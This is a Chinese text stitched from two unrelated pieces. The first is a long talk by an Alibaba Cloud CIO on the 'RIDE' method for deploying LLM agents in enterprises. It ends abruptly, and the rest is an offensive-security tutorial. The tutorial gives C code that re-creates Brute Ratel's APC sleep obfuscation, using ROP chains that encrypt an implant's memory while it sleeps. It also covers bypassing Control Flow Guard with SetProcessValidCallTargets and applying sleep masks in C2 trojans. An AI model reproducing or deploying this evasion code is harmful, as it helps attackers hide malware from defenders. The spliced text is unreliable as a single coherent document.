当然,在过去两年,带领团队推进业务落地的过程中,我也深刻体会到,真正将技术应用于业务并取得成效,没有那么简单。特别是,真正在业务中产生价值和仅仅做出一个 Demo 之间,是天壤之别。

接下来,想和大家进一步分享,我们在这一过程中遇到的困难,以及总结出的一些解决方法,希望能对大家有所帮助。

大模型 E2E 落地坑点与解法 —— RIDE

大家可能听过红杉提出的一个概念叫 RaaS,即“结果即服务”。这一概念的核心在于,如果仅仅提供工具和产品,让企业自行落地是不够的。所以,我们特别重视真正上线,并产生业务结果的项目。

我作为 CIO 所带的团队,在企业内部为业务部门提供的,就是这种 “以交付结果为导向的服务”。在推进 RaaS 的过程中,也总结出一套方法论,叫 RIDE

RIDE 包括四个关键步骤:Reorganize(重组组织与生产关系)、Identify(识别业务痛点与 AI 机会)、Define(定义指标与运营体系)、和 Execute(推进数据建设与工程落地)。

首先是 Reorganize。在 AI 时代,新的生产力下,原来的生产关系是非常不适应新生产力的发展,这种不适应会在每个毛孔里面表现出来,然后阻碍 AI 的发展和落地,所以要求我们要重新调整生产关系。第二,是 Identify。也就是我们需要精准地识别出企业中哪些问题适合用 AI 来解决,这要求我们首先明确问题的定义,然后结合 AI 的能力和业务需求,确定哪些问题可以通过 AI 得到有效的解决。然后是 Define。在明确了问题和 AI 的能力之后,我们需要精准地定义产品及其运营指标,进行准确的指标跟踪。最后才是 Execute。执行阶段是一个金字塔结构,上面是业务目标,下面是工程数据和评测,中间是工程应用算法。

当然,这套我们称之为 RIDE 的方法论,并非在做 AI 转型的第一天就有了,而是在二十多个智能体真正有效落地业务的过程中,我们发现,如果不遵循方法论中的这些步骤,项目很可能会失败。遵循这些步骤,虽然不能保证 100% 的成功,但至少可以提高成功的概率。这是一套用两年时间、用血泪经验总结出来的方法。

Reorganize |重组组织与生产关系

书同文、车同轨 :AI 时代的通识教育

我们首先从 Reorganize 开始讲。

在落地第一年,我发现了一个问题:无论是业务团队还是我们自己的团队,对大模型的能力边界、发展程度、具体原理等基本概念的理解都存在差异,甚至在我自己的团队,产品经理、算法、工程团队内部都无法拉齐概念认知。

为了解决这一问题,我们发起了一个行动,叫 “书同文、车同轨”。 我们要求全员参加 AI 大模型的认证培训。最主要的原因,是要解决大家在基本功和认知逻辑上的差异。我称之为 “AI 时代的通识教育”,相当于要在团队里重新走一遍“高中的教育”

这一培训分为两类:大模型 ACA 认证(面向非技术人员)、 大模型 ACP 认证(面向技术人员),因为我们不仅需要技术人员之间能够对齐话语,也希望非技术人员和技术人员对齐话语。

这种通识教育对于团队的协作至关重要,首先在我们 CIO 线内部已经完成了全员的认证,后面,我们的业务方,也就是我们的财务、人力、销售、中后台等都在做 全员认证

目前,整个阿里巴巴集团都在用这个方法来做 AI 转型的基础教育,重新建立大家的基础认知。不然就会出现这种情况:大家都在谈论同一个概念,但其实理解的内容和现实完全不同。如果没有做过深入工作,很难体会到那种无力感,一旦通过通识教育统一认知,沟通效率就会显著提升。

阿里云大模型 ACA 认证:

https://edu.aliyun.com/certification/aca13?spm=a2cwt.28380597.J_1564692210.17.28813487dUqGKW

阿里云大模型 ACP 认证:https://edu.aliyun.com/certification/acp26?spm=a2cwt.28380597.J_1564692210.18.28813487dUqGKW

「企业免费体验」大模型认证:https://edu.aliyun.com/learning/topic/llm-free-trial

这样的基础上,又设计了两个比赛。一个是产研提效比赛,一个是业务提效比赛。和其他大赛最大的不一样,我们的比赛是真正以 E2E 为衡量标准的。 

比如产研比赛,我们要看的,是原来 E2E 同样粒度的一个需求,需要多少“人月”完成,而现在能减少到多少人月。而不是看代码采用率,因为代码采用率很容易“灌水”,而且它往往只能补全那些最容易写的代码,最难的代码可不容易补全。

在业务 E2E 方面,我们的比赛就是要真正进入业务场景,帮助业务去拓展,而且效果和效率都要超过原来。所以,这两件事非常重要,第一,是做“书同文,车同轨”的通识教育,因为 AI 时代的知识在不断发生巨变,每个月都在变,现实的实践知识和原来的基础知识都有大量的不同;第二,是“以赛促练”,整个组织通过正确目标下的比赛,大家会发现短板,发现相互之间可以学习的地方,就能够激发组织不断地去创新、去提效。

数字员工 :业务方与 IT 方 联合培养

再说说我们的数字员工

有一个非常关键的安排:我们的这些数字人最后都是汇报给业务部门的。这不仅关乎形式,更重要的是心理。我们不能让业务部门觉得,AI 技术会威胁到他们的工作,而是要让他们明白,AI 技术是来帮助提效的。如果这个关系没处理好,就会遇到无数的暗礁。

所以,我们把自己定位为数字人供应商,业务部门是 AI 先进组织,业务部门可以雇佣我们的数字员工,并与我们一起联合培养。 这样,业务部门会更愿意接受 AI 技术,减少阻力。所以这是第一点,我们把自己退到一个外包供应商的位置上。

第二点,我们还发现,AI 数字员工是不能扛责任的,也不能给它打“3.25”(低绩效)。这意味着,数字员工在系统里执行任务出了问题,谁来承担的问题。我们将 AI 数字员工汇报到业务部门,属于业务部门的人(让他们放心),并一起参与 AI 员工的培养过程,同时数字员工也会受到正式员工的监督,来承担相应业务领域的责任。

定标准 :AI 要与人比,不与“神”比

另外,我们经常听到一句话:ToC 还好,但 ToB 的大模型有幻觉,做不到 100% 正确。但实践经验告诉我们,其实人也有幻觉,而且人的幻觉还很大。如果认真看,在很多任务里,人其实也是不靠谱的,也经常会失败,只是企业没发现而已。

我们强调的一点是:如果 AI 项目和业务部门真正达成了共识,并且通过培养逐步磨合,就必须认真回头来看,AI 的要求标准到底是什么?

如果要求 100% 正确,其实就是把 AI 拿来和“神”比。但如果是和原来人做事的效果和准确率去对比,那就是和“人”比。所以,追求比人做得更好、更准,才是真正有意义的对标

那怎么避免和“神”比呢?回到前面所说,解决生产关系的问题,处理好内部业务的逻辑、目标和关系,这样才能真正实现 AI 和人比,而不是和“神”比。

在整个 Reorganize 的过程中,我们还发现,要把数字人汇报到业务部门,对 HR 部门来说,这就等同一个“正式员工”。注意,我们是真的把它当作正式员工来看待的,用它能否产出真正的业务结果来度量。

所以我们在内部与 CPO(HR 负责人)沟通时,讨论过:怎么去度量 AI 数字人是否真的发挥了一个正式员工的效果?最后,我们确定了一个方向:AI 数字人必须有一个目标,就是在原有具体的业务流程里,接管一个重复且有价值的任务,并且能够折算出“相当于拓展出多少人力”,这就是唯一的目标。

但要 真正让数字员工上线、上岗,必须满足两个标准条件: 一是数字人执行原来任务的效率,一定要比原来提升一定百分比,一定要比原来执行任务的人效率高;二是数字人执行任务的效果,同样,也要比原来提升一定百分比。只有当数字人做到效率高、效果好时,才能“正式上岗”,进入业务部门工作。

Identify |识别业务痛点与 AI 机会

从三个特征,挖掘 AI 机会

刚才讲的是 Reorganize,如果不解决 Reorganize 的组织问题就会不断遇到暗礁,甚至没法往前走。但解决了组织的问题后,业务部门会说,好,我们来联合培养数字员工。那从哪里开始呢?

所以第一件事就是业务机会的识别(Identify)

这轮 AI 革命的核心其实是 LLM(large language model),所以,我们在内部有一个逻辑:所有以 language 为中心的工作,都将被大模型深刻影响。比如电销、客服、招聘、OKR、文档、翻译、合同审核,还有研发类的 C language、Java language、SQL language 等,这轮以 language 为中心的工作受影响最大。所以第一个特征是 Language 类 工作。

第二个特征是被重复执行、规模化执行。因为 AI 是自动化的,越大规模、越重复的任务,AI 越有机会去做。第三个特征是,如果本身缺人,甚至有人投诉效率低,那这个地方就是个大的机会。

这三个特征,是我们与业务部门一起来 Identify,识别哪些业务是可以着手的。这也是我们在内部形成共识后,如何去识别机会、定义机会的关键点。因为只有把问题定义清楚了,后面做事才会顺畅。如果解决错了问题,那投入就白白浪费了。

数字员工,以“单任务”为核心换算

另外,我们刚才讲到,数字员工要在对应的任务里拓展目标,也就是拓展对应岗位的人力,实际面对各种场景具体怎么处理,又怎么核算?

我们的经验是,首先,有些“单任务岗位”,比如技术翻译,我们是按字收费的,那么,AI 翻译一个字多少钱,就可以直接线性替换了。一个人一天的产能可能是翻译 2 万字,那我们就差不多折算成 “2 万字的产能”等同于“一个人”。

如果是“多任务岗位”,比如产品经理,他一会儿做 PRD,一会儿分析工单,一会儿画 Demo,一会儿又去客户那里访谈。这种多任务岗位,我们发现往往有些任务是重复的、繁琐的,也不是高价值的。为了提效,非常适合将这些低价值任务,拆分成一个个“单任务岗位”,如工单分析岗位、产品原型设计岗位等,让数字员工去做。

这样,原岗位上的人就从繁琐工作中卸载出来,可以聚焦在更高价值的主线工作上,他们的幸福感也会爆棚。在换算方面,最终也都是”以单任务岗位为核心进行 HC 换算”,逻辑清晰明了。

这种方式原先主要是由外包承接,但受制于外包员工管理难度大、成本构成多、招聘周期长、稳定性低、用工风险高、能力上限低(薪资因素)等诸多原因,多方面都受到约束,无法大面积展开。当我们有了数字员工之后,自然解锁了这些约束, 这件事就变得更加切实可行。 

Define |AI 的产品度量与运营度量

准确率是 AI 产品核心

过了 Identify 这一步,下面就是 Define

这个时代和以前做产品有很大不同。我们前面提到的一些产品大多都类似,比如都有交互、体验。在这个流程里,其实和上一轮移动互联网的产品没有区别。但 AI 产品有一个特别关键的点,就是“准确率”。 当然,除了准确率之外,还有响应时效性和安全合规等非功能性指标,比如在电销过程中,和客户实时对话,延迟必须非常低,不然客户会觉得交流效率不高,像机器人说话一样。

因此,实时性和准确性非常关键。如果准确性不够好,客户根本无法使用,也根本不可能真正上岗。所以,准确率是 AI 项目的第一核心指标,整个项目组都必须盯住它,这也是产品定义中最核心的部分,必须重新去 Redefine

运营与产品指标「协同度量」,才不掉坑

此外,运营指标同样至关重要。如果只有产品指标和准确率指标,那大概率会掉到“坑里”。即使是在对内的业务项目里,原来移动互联网那些基本功也不能丢,比如:

  • DAU(每日活跃用户数);

  • 用户提问数;

  • 渗透率,即目标客户的覆盖率;

  • 留存率(最关键)。

如果同一个客户今天用了,下周还愿意继续用,说明这个 AI 智能体真正帮他解决了问题。如果客户只用了一次就不再回来,那么无论前面的产品指标再漂亮,都没有意义,那可能就是定义错了问题。运营指标就是用来兜底的,如果不紧盯这些指标,很容易让产品、工程和算法团队陷入“自嗨”。什么叫自嗨?就是他们说“我的指标很好”,结果客户根本不用。

举个例子,在阿里云官网的 AI 助理中,我们就设定了这样的度量方式。

如下图所示,左图展示了准确度的度量指标,时间线大约覆盖从去年到今年的一年时间。蓝色区域代表表现良好的部分(精准解决了客户的咨询问题和任务),黄色区域为中等水平(虽解决了任务,但伴有大量无关信息),红色区域则是表现差劲的部分(回答与客户问题完全不相关)。中间图展示了 DAU 和客户问题数,右图则是留存率。

目前,我们的留存率实际上已经达到了一个相当高的水平(PPT 中并未刷新数字)。从图中可以清晰看到,随着准确度的持续提升,DAU 和留存率也在稳步上升。但是反之,如果 DAU 和留存率始终停滞不前甚至下滑,即使你的工程和算法团队声称准确率很高,那无疑是自欺欺人的。

实际上,很多工程算法团队成员,可能并未意识到上述这一点。之所以能明确指出,是因为在左图的准确度指标上,我也曾经被多次误导,但这也并非团队有意为之。在如今的信息环境中,随便搜索公众号就能发现大量类似“用这一招,你的准确率能提升到 95%”的文章,但这些文章往往存在误导性,它背后都有一个前提条件,即在某个狭窄的小场景下,准确率能够达到 95%,然而在面对海量问题时,这一指标却难以提升(这一点稍后会详细分享)。

Execute |推进数据建设与工程落地

掌握「产品研发工程金字塔」

定义好了产品和运营指标(Define),往下走才是执行(Exectute)阶段。

Exectute 阶段的关键在于:一定要用产品和业务目标来拉动。因为在牵引拉动的过程中,才能充分动员领域知识专家的参与和评测。 

如果没有知识专家的深度参与和强大的评测能力,大模型的应用上限是很难提升的,这是第一点。第二,如果项目目标缺乏价值,或者没有真正的痛点,那么会发现得不到资源的“祝福”。也就是说,一方面难以获得其他团队的配合,另一方面自身团队的价值感也难以维持,这将直接影响项目的推进。

在整个执行逻辑中,金字塔最下面是工程的数据与评测,我把这个放成最大的一块底座,因为这是基石——业务数据、业务 API 以及评测能力是大模型应用的基础,对这一部分的投入必须充足。

在这一基础上,才是工程应用算法、预训练(Pre-training)、RAG 以及微调等等,这些在媒体报道里面出现的技术热词,并非不重要,但这些只是 “必要条件”。我观察到,大多数产研团队在这部分(工程 - 应用与算法)投入了 80% 至 90% 的时间。

但想强调的是:这些只是必要条件,仅靠这些无法解决企业 E2E 落地的问题。哪怕你在必要条件上投入再多,再加 10 倍的努力,也无法实现真正的 E2E 落地。因此,必须设法补齐真正实现 E2E 落地所需的充分条件。 如果无法做到这一点,项目成功的希望将十分渺茫。

常见的 LLM AI 应用范式:翻译、Agent

在与业务团队沟通以及处理各种复杂问题的过程中,我们总结出了几种常见的模式: 首先是基础设施层面,涉及知识和数据的构建;中间是编排和调度,无论是大家熟悉的工作流编排,还是智能体自主规划编排,或是两者的结合;最上面是对客的产品与运营。

这里,重点讲述图中深蓝色部分的两种模式:第一个是翻译模式,第二个是 Agent 模式,我认为主要分为这两种典型的应用模式。其中,翻译模式最容易取得成效,因为它相对简单;而智能体模式则较为复杂。

翻译模式:关键在“蛋糕坯”

先谈谈翻译模式。 在公司内部,我们将所有翻译类模式统称为 AI 领域的“低垂果实”,这类模式相对容易实现。

这一轮的大型语言模型背后的算法是 Transformer。Transformer 最早是 Google 为了翻译任务而开发,在不停做翻译的过程中衍生出了 Transformer 算法。随后,预训练模型如 BERT 也大量应用于翻译领域。所以,大模型的原理 Transformer 特别擅长做翻译。

翻译又可以分为狭义翻译广义翻译

狭义翻译指的是中译英、英译中等语言之间的转换。而广义翻译则涵盖更广泛的形式,比如:自然语音转成文本,再转成语音;自然语言转成 SQL 语言;自然语言转成 Java 语言;甚至让一篇论文用自然语言“翻译”成中学生能听懂的表述,这些都属于广义翻译范畴。无论是狭义翻译还是广义翻译,Transformer 都特别擅长,因此这是最容易出结果的地方。

这里有一个坑: 虽然(图中)左边的翻译能力已经具备,但如果右边原有的系统还没准备好(not ready),就会出现问题。

以 Chat BI 来说,为什么 Chat BI 在企业里没什么成功的案例呢?其实很大一部分原因在于,Chat BI 的逻辑无外乎就是:用自然语言翻译成 SQL,然后在后台的数据库或大数据系统里执行,再把执行结果取出来,再翻译成自然语言返回给人。

Chat BI 的实质,就是自然语言 → SQL → 执行结果 → 自然语言,这本质上还是一种翻译。

但我们会发现一个很有意思的问题:很多企业说要上 Chat BI,但如果原本数据库和里面的业务逻辑、数据口径积累不足,甚至连人都写不出对应的 SQL 来,那自然语言也一样翻译不出来。因为后台本身没有可执行的基础。

所以我认为,企业里绝大部分在 Chat BI 上踩的坑,都来自于一开始就想做一个过于“宽”的东西。但是做了这个翻译之后,如果原来的系统 API 没准备好,数据没准备好,甚至连原来的人都无法执行这些操作,那自然语言翻译也没法落地。这就是最大的误区。

因此我们在内部的逻辑是:要先 Identify 原系统具备哪些能力。比如,如果你原来的 ODPS、数据库和数据中台本身已经有 BI 和运营,能够在某个领域里不断取数、用 SQL 分析数据,而且业务场景也很丰富,那么,那些高频的 SQL 语句才是真正值得作为翻译目标的部分,而不是盲目地去做一个 Chat BI。

所以很关键的是要分成两个部分 :一部分是翻译,一部分是原来系统的语言处理能力。我习惯这么来形容:原来的系统就是“蛋糕坯”,大模型翻译就是上面的“樱桃”。如果你现有的蛋糕坯是 ready 的,我放一个樱桃上去,你就可以吃樱桃蛋糕了。但是如果原来的蛋糕坯都没有,你让我做一个樱桃蛋糕,是做不出来的。

这里非常重要的一点是:要能够识别出原来的蛋糕坯是不是 ready ,然后在上面放上你的樱桃,而不是直接拿一个樱桃就装作是樱桃蛋糕。这个地方往往就是个误区。

翻译模式是“低垂的果实”,容易做,但里面其实有非常多的坑。

Agent 模式:关键在意图与知识空间

再说 Agent 应用模式

大家可以注意这样一句话:所有的 Agent 应用模式都是始于用户意图,终于意图满足

如果你不是从用户意图出发,最后又不是以是否满足客户意图来作为度量标准,去看待你的智能体,那一定会失败,没有任何成功的可能性。

这是我发现团队,甚至整个业界,最容易出现的问题。因此我们引出了一个方法,这是我在内部做智能体时,一定要去践行的方法。

第一件事情,要找到这个领域的“意图空间”。 当一个客户在智能体里和你交互时,他一定是带着意图的。那么这些意图都有哪些?比如客服场景里,客户会提出各种咨询问题,这些问题本质上就是一个空间、集合。所以,第一步就是要搞清楚这个集合的 边界和完整性。如果你不知道它的完整性,就无法去度量。只有在建立了完整的意图空间之后,才能继续往下做。

于是,第一件事要建立意图空间。然后,当清楚地知道了意图空间,就要基于这个意图空间来准备 知识工程。也就是说,你的知识、文档是否完备?API 和结构化数据是否具备?能否真正满足客户的这些意图?我认为这是最基础的必要条件。

再者,有了知识、意图空间,接下来才能带着意图去做评测。 因为既知道用户的意图,也掌握了知识,这样才能真正开展工作。如果意图不清楚、知识不具备,其实就是“空转”。

我们的经验是:在客服场景里构建意图空间,从原来就在满足意图的领域出发,从 工单 里去分析和构建意图空间。有了意图空间之后,就可以对意图进行分类。分类完成后,再根据不同类别去检查和补全知识,做好知识工程。

这样,当 意图空间 和 知识空间 都建立好了,才有可能开展评测,也才知道如何去度量你的 Agent。只有具备了度量能力,才有可能进一步做工程和算法迭代,这个是原理决定的。这也是我们在内部做智能体的一个必修课。

这里,简单总结一下两个模式: 翻译模式是樱桃,一定要先找到原来的蛋糕坯在哪里,再把樱桃放上去。如果蛋糕坯不 ready,只放个樱桃一定会失败。而 Agent 模式的关键则是:始于用户意图,终于意图满足。 这是一系列完整的逻辑方法。

Agent 落地要点:意图空间、品味 &评测

接下来,我们就展开讲这个稍微复杂一些的 Agent 模式,看看在业务体系里实现 E2E 落地的一些关键要点。

第一,意图空间的投入进行 ROI 评估。做一个 Agent,它的 ROI 高不高?这取决于意图空间的大小。如果工程所需的知识量庞大,意图也非常多、非常宽,那么所需要的投资就会非常大。意图空间越大,为满足这些意图所需要的知识、工程和迭代的投入也就越大。

所以有一个非常清晰的结论:第一件事情,就是要控制意图空间的规模。如果不控制规模,会导致失败,因为后续的投入很难支撑。这里要记住一句话:如何去控制一个智能体的意图空间?如果没有控制好,或者不清晰,那么 ROI 根本算不出来。而一个算不出 ROI 的项目,成功的可能性将大打折扣。

第二, 我们经常讲,最近大家肯定也听说过,在 AI 领域里经常提到一个词叫“品味”AI 时代里,品味非常重要。 那么品味来源于哪里?我自己猜测,要追溯到 1995 年乔布斯(Jobs)的一次采访。当时记者说:听说你比较粗暴、独裁,你怎么知道你的决定就是对的?乔布斯想了大约 10 秒,回答道:“归根结底,最后是品味决定的。”

品味和这一轮 AI 的关键问题——评测——高度相关。

这一轮和上一轮 AI 革命最大的区别在哪里? 

上一轮深度学习主要是计算机视觉。那时候的数据评测怎么做?一张图给猫、狗、交通灯、汽车、人等等打圈,数据打标就是这么来的。所以评测时,只需要看分类对不对(猫有没有被错分成狗?对了就好)。ImageNet 就是这样做的,李飞飞当年找了很多外包团队来做标注,这种标注工作很适合外包,找普通人就能做。原因很简单,猫狗识别不难,就算是一些专家领域,比如故障识别、次品检测,标注也相对容易。

但这一轮情况完全不同。

大模型的输入是小作文,输出也是小作文。在专业领域尤其如此,很难直接度量。这就是为什么要强调品味——因为没有标准答案。我们都是经历过高考的。高考作文有没有标准答案?没有。开放题,比如写一篇中心思想总结,有没有标准答案?也没有。

大模型的评测正是如此。所以,这一轮大模型最关键的区别在于:度量数据、评测没有标准答案。既然这是没有标准答案的,意味着成本最高,也就成为落地的瓶颈。 如何解决这个瓶颈?只能重投入

Agent 落地要点:如何做好「评测」 

当然,这里讲的“品味”,就是如何做评测的问题。 

我们怎么去评测?评测是一件非常重的事情,这包括业务效果的评测能力,也包括评测本身的工程化。

具体来说,在人工评测中,我们如何去解决分类的标准问题?什么是“好”,什么是“中”,什么是“差”?如何能够确保,评测对真实业务意图的覆盖度是足够的?如果覆盖度足够好,标准也足够清晰,我们又如何通过工程化的方式,对系统的迭代和变动进行自动化评测?

由于人工评测和度量,很多时候就像写一篇小作文,它是非标的,是没有标准答案的东西。相反,为什么现在编程发展很快?因为数学和编程都有标准答案,可以被编辑器校验,但是纯文本是没有标准答案的。

所以,评测这项工作非常耗时,也很容易成为整个项目的瓶颈,是需要极大加强的。如果不去加强,那么整个项目的基石就可能动摇。

在评测的过程中有一个非常重要的点,叫 E2E 归因。因为在智能体的过程中会有非常多的环节,在这么多工作流和智能体的编排逻辑中,如果一个意图没有被满足,我们必须要有能力确定这个 Bad case 的问题到底出在哪个环节。当每一个 Badcase 都应该归因到工程里的具体环节,才能对具体的原因进行聚类和改进。

如果从产品宏观功能体系来看,体系的最底层,必须要有两样东西:第一,是业务评测;第二,是全链路的归因分析能力。我把这两项放在最底层,就是因为它们太重要了。

下图这是个大概率的经验总结,也就是说,如果具备度量能力,会发现 大部分问题都出现在数据层面,出现在非结构化、结构化数据 API。如果基本能力不具备,这就是智能体失败的主要原因。部分问题可能出现在知识预处理、意图识别、上下文检索,以及后续的意图识别总结等环节。数据极为重要,但没有评测也就谈不上数据。

引出一个经常被讨论的问题:是否需要引入模型训练?

我们的观点非常明确:必须在白盒方式下使用基模 API,注重评测和数据,并进行 E2E 归因迭代。只有当数据质量和评测能力具备时,才能引入训练。

原因很简单,如果数据和评测能力不 Ready,投入在训练上的每一分钱都是浪费。如果数据不够好,那就是“garbage in, garbage out”。这些问题,都不是训练本身能够帮助解决的。

而且,训练的周期长、成本高、迭代速度慢,如果没有能力评估训练结果的好坏,也没有足够的数据进行训练,这种投入是不明智的。因此,只有在必须使用训练,且基模无法解决问题时,我们才会引入预训练。

写在最后:AI+云的「大电梯」

最后,为大家回顾一下。

我们在阿里云内部推进 AI 转型,本质上是需要为业务提供 Result as a Service(RaaS)。我们也是当前时点为数不多的,能够真正大规模实现 E2E 落地,给业务交付结果的实践团队。 

而我们实现 Result as a Service 的方法叫 RIDE,RIDE 分别代表 Reorganize、Identify、Define 和 Execute。

需要特别注意的是,在必要条件上再努力,也解决不了充分条件的问题,所以这个 RIDE 方法论的核心是在提醒大家:只有把落地所需要的充分条件补齐,才能真正开展 AI 企业有效落地的工作。

呼应最开始讲的“电梯”,想表达的是,冰山之上,我带着团队一直在做业务的数字化转型,之所以能够实现,是因为冰山之下,有强大的阿里云作为底座。

无论是涵盖通义千问在内各种模型服务的 MaaS 百炼,还是 PAI,ODPS,数据库等 PAAS 服务、或是底层 IaaS 比如 ECS、灵骏、存储、网络服务,都是我们依赖的企业应用的有力支撑武器。而且,这些能力的成本在不断下降,功能也在持续拓展。

所以,当企业选择了一个强大的技术底座,随着技术水平的增长和成本的下降,企业的数字化转型也就能够搭上一部更好的“电梯”。我自己认为,阿里云就是这样一部“大电梯”,企业上云后,这部电梯持续为企业实现数字化转型,提供源源不断的上升动力。

0x01.前言 在上一篇文章中,分析了BRC4如何利用APC来进行睡眠混淆的。本篇文章中将通过逆向出来的代码作为参考,但可能会有差异,一步步实现APC睡眠混淆加密整个可执行程序。以及如何在C2中集成APC睡眠混淆。 0x02.实现APC睡眠混淆 通过之前的分析我们知道Badger中创建了一个线程(TpReleaseCleanupGroupMembers + 0x450),然后利用了这个线程来获取正常的CONTEXT结构。实现代码如下,实现时为了简单起见,有些地方不使用Nt*Zw*的函数,实际中为了opsec是有必要写的,但这里主要起到演示作用。

C

复制代码
LPVOID TpReleaseCleanupGroupMembers_450 = (UINT_PTR)GetProcAddress(GetModuleHandleA("ntdll.dll"), "TpReleaseCleanupGroupMembers") + 0x450;

DWORD dwThreadId = 0;
HANDLE hThread = CreateThread(NULL, 0, TpReleaseCleanupGroupMembers_450, NULL, CREATE_SUSPENDED, &dwThreadId);

然后根据这个线程句柄,获取CONTEXT,并复制到所有的CONTEXT中。

C

复制代码
if (!GetThreadContext(ThreadHandle, &CtxThread)) {
printf("GetThreadContext failed With Error:%lu\n", GetLastError());
return FALSE;
}

memcpy(&RopWaitFor, &CtxThread, sizeof(CONTEXT));
memcpy(&RopProtRW, &CtxThread, sizeof(CONTEXT));
memcpy(&RopMemEnc, &CtxThread, sizeof(CONTEXT));
memcpy(&RopSleep, &CtxThread, sizeof(CONTEXT));
memcpy(&RopMemDec, &CtxThread, sizeof(CONTEXT));
memcpy(&RopProtRX, &CtxThread, sizeof(CONTEXT));
memcpy(&RopRtlEtTd, &CtxThread, sizeof(CONTEXT));

现在就可以构造ROP链了,在每一个CONTEXT结构的返回地址写NtTestAlert函数的地址,也就是Rsp寄存器。这样做为了确保能够执行完所有的APC队列回调。 ROP链执行的函数依次为WaitForSingleObject、VirtualProtect、SystemFunction032、WaitForSingleObjectEx、SystemFunction032、VirtualProtect、RtlExitUserThread。我们逆向badger的这个ROP链会发现还会执行ZwGetContextThread -> ZwSetContextThread -> ... -> ZwSetContextThread。之前说过了,这里就是备份一份当前线程(构造ROP链的线程)的CONTEXT结构,然后设置获取fake CONTEXT,主要是为了进行堆栈欺骗,睡眠完成后,在将备份的CONTEXT还原。

C

复制代码
RopWaitFor.Rcx = StartEventHandle;
RopWaitFor.Rdx = INFINITE;
*(PULONG64)RopWaitFor.Rsp = (ULONG64)pNtTestAlert;
RopWaitFor.Rip = WaitForSingleObject;

RopProtRW.Rcx = ImageBase;
RopProtRW.Rdx = ImageSize;
RopProtRW.R8 = PAGE_READWRITE;
RopProtRW.R9 = &oldProtect;
*(PULONG64)RopProtRW.Rsp = (ULONG64)pNtTestAlert;
RopProtRW.Rip = VirtualProtect;

RopMemEnc.Rcx = &Image;
RopMemEnc.Rdx = &Key;
RopMemEnc.Rip = SystemFunction032;
*(PULONG64)RopMemEnc.Rsp = (ULONG64)pNtTestAlert;

RopSleep.Rcx = (HANDLE)-1;
RopSleep.Rdx = SleepTimes * 1000;
RopSleep.R8 = FALSE;
*(PULONG64)RopSleep.Rsp = (ULONG64)pNtTestAlert;
RopSleep.Rip = WaitForSingleObjectEx;

RopMemDec.Rcx = &Image;
RopMemDec.Rdx = &Key;
*(PULONG64)RopMemDec.Rsp = (ULONG64)pNtTestAlert;
RopMemDec.Rip = SystemFunction032;

RopProtRX.Rcx = ImageBase;
RopProtRX.Rdx = ImageSize;
RopProtRX.R8 = PAGE_EXECUTE_READWRITE;
RopProtRX.R9 = &oldProtect;
*(PULONG64)RopProtRX.Rsp = (ULONG64)pNtTestAlert;
RopProtRX.Rip = VirtualProtect;

QueueUserAPC将这些CONTEXT依次插入TpReleaseCleanupGroupMembers + 0x450入口点线程的APC队列,NtAlertResumeThread准备执行APC,NtSignalAndWaitForSingleObject信号StartEventHandle开始执行APC,并等待TpReleaseCleanupGroupMembers + 0x450入口点线程退出。

实现的代码和逆向Brc4的badger睡眠混淆代码基本一致,效果如下:

image-20260113103244238.png

采用固定密钥的话使用SystemFunction032每次加密的内容均相同,我们加密可以使用SystemFunction040,在msdn中被描述为RtlEncryptMemory。

image-20260113103757964.png

解密可以使用SystemFunction041,在msdn中被描述为RtlDecryptMemory。

image-20260113104310662.png

关键是加密的使用使用的是系统内部派生密钥,每次随机密钥加密,使用起来更加方便安全。 0x03.CFG Bypass 这样的代码注入到开启CFG的系统进程中还是会引发崩溃,需要Bypass CFG,在编译属性中开启/guard:cf

image-20260113105028177.png

重新编译后再次允许程序会崩溃,查看异常代码对应0xC0000409(STATUS_STACK_BUFFER_OVERRUN),正是由CFG引起的。在APC队列中回调函数为NtContinue,在开启CFG的情况下,它在CFG的无法间接调用的函数列表,所以会引发错误。

image-20260113105128374.png

我们需要绕过CFG,Brc4 Badger是利用的SetProcessValidCallTargets。

image-20260113114858654.png

SetProcessValidCallTargets在msdn上的定义如下。第一个参数为当前进程句柄。第二参数为目标标记为有效的虚拟内存区域的开始,调试发现传入的地址为ntdll的起始(qword_1003C7C8),这也符合Badger添加到CFG允许列表都是位于ntdll中的函数。第三个参数为虚拟内存区域的大小,需要做按页对齐操作。第四个参数表示添加到CFG允许列表个数为1。最后一个参数为相对于虚拟内存范围的偏移量和标志的列表,指向CFG_CALL_TARGET_INFO结构。此结构的第一个参数函数地址减去ntdll起始地址。第二个参数很重要,描述要对地址执行的操作的标志。 如果设置了CFG_CALL_TARGET_VALID(1),则地址将标记为对CFG有效,从而绕过CFG保护。

image-20260113145013617.png


image-20260113121049401.png

image-20260113145748993.png

整个过程很清楚了,但还需最后一步,判断当前进程是否开启CFG。一种通用的方法是根据PE OptionalHeader的DllCharacteristics来判断编译的时候是否根据CFG来编译的。

image-20260113150817207.png

判断是否开启CFG,以及添加CFG允许列表的相关代码如下,对应Kernel32中也需要实现一个相同的函数来添加VritualProtect和WaitForSingleObject、WaitForSingleObjectEx。执行SetProcessValidCallTargets出现的87错误代码我们直接跳过,这个错误表示目标地址没有受到CFG的保护。

完整的代码我放在github上了,参考 https://github.com/CDipper/SleepMaskingByAPC 查看SetProcessValidCallTargets不难发现,内部就是调用了NtSetInformationVirtualMemory,国外有老哥根据此API二次开发了Ekko(利用计时器队列进行睡眠混淆,很常用,容易被杀),参考 https://github.com/Crypt0s/Ekko_CFG_Bypass/blob/main/Ekko_CFG_Bypass/CFG.c

image-20260114103903645.png

0x04.C2中使用Sleeping Mask C2中使用Sleeping Masking就是在我们的马中每次睡眠的时候把马全部加密不就行了吗?其实并非如此,如果全部加密,对于一些持久化任务(例如keylogger等)执行就会崩溃,这是显然的。在Cobalt Strike中睡眠混淆是在arsenal-kit中实现,其当然也不是将beacon的内存全部加密,Brc4中也是如此。 Cobalt Strike 4.4中首次引入Sleeping Mask的概念。一开始只是简单对一些特征进行加密,后面随着版本的更新逐渐支持对beacon堆内存的加密,以及对更多的内存进行加密。Ekko项目出现了之后,Cobalt Strike也进行了支持,能够加密Sleep Mask的代码,也就是解决了自己不能加密自己的问题。默认的Sleep Mask相关加密代码是能够被类似Elastic等优秀yara规则检测到的,所以加密Sleep Mask的代码很有必要。

image-20241126195748278.png


后面又逐步支持堆栈欺骗,基于LLVM的代码变异技术实现动态生成Sleep Mask,BeaconGate...... 所以在写自己的马时,需要考虑到哪部分内存我能够加密的,那部分内存我不能够加密,往往加密的可能是一块敏感字符串等,以及那块加密代码。

